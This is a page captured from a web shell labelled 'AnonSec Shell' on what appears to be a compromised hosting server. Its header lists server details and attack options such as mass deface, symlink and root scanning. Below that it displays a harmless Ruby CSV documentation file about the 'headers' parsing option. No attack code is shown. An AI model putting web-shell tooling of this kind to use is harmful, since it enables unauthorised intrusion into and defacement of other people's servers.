AnonSec Shell
Server IP : 68.65.120.251  /  Your IP : 18.216.71.122   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux server105.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : travtpib ( 6521)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/ruby34/share/gems/gems/csv-3.3.2/doc/csv/options/parsing/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /opt/alt/ruby34/share/gems/gems/csv-3.3.2/doc/csv/options/parsing/headers.rdoc
====== Option +headers+

Specifies a boolean, \Symbol, \Array, or \String to be used
to define column headers.

Default value:
  CSV::DEFAULT_OPTIONS.fetch(:headers) # => false

---

Without +headers+:
  str = <<-EOT
  Name,Count
  foo,0
  bar,1
  bax,2
  EOT
  csv = CSV.new(str)
  csv # => #<CSV io_type:StringIO encoding:UTF-8 lineno:0 col_sep:"," row_sep:"\n" quote_char:"\"">
  csv.headers # => nil
  csv.shift # => ["Name", "Count"]

---

If set to +true+ or the \Symbol +:first_row+,
the first row of the data is treated as a row of headers:
  str = <<-EOT
  Name,Count
  foo,0
  bar,1
  bax,2
  EOT
  csv = CSV.new(str, headers: true)
  csv # => #<CSV io_type:StringIO encoding:UTF-8 lineno:2 col_sep:"," row_sep:"\n" quote_char:"\"" headers:["Name", "Count"]>
  csv.headers # => ["Name", "Count"]
  csv.shift # => #<CSV::Row "Name":"bar" "Count":"1">

---

If set to an \Array, the \Array elements are treated as headers:
  str = <<-EOT
  foo,0
  bar,1
  bax,2
  EOT
  csv = CSV.new(str, headers: ['Name', 'Count'])
  csv
  csv.headers # => ["Name", "Count"]
  csv.shift # => #<CSV::Row "Name":"bar" "Count":"1">

---

If set to a \String +str+, method <tt>CSV::parse_line(str, options)</tt> is called
with the current +options+, and the returned \Array is treated as headers:
  str = <<-EOT
  foo,0
  bar,1
  bax,2
  EOT
  csv = CSV.new(str, headers: 'Name,Count')
  csv
  csv.headers # => ["Name", "Count"]
  csv.shift # => #<CSV::Row "Name":"bar" "Count":"1">

Anon7 - 2022
AnonSec Team